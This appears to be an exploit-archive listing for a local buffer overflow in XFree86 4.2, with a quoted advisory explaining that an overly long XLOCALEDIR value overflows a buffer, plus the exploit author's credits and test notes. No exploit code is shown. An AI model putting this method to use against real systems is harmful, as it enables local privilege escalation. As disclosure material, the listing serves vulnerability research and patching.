Description

XFree86 4.2 XLOCALEDIR Local Buffer Overflow Vulnerability (4). Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/7002/info
  
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
  
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

  bug is reported at  www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4516
  this bug was founded by tarranta & dcryptr 3 january 2003
  dcryptr and angello have given exploits
  this exploit is base on that two exploits

  tested on REDHAT 9
  but there isn't a 's' for these two files.so we can't get a rootshell.
  
  just for fun!
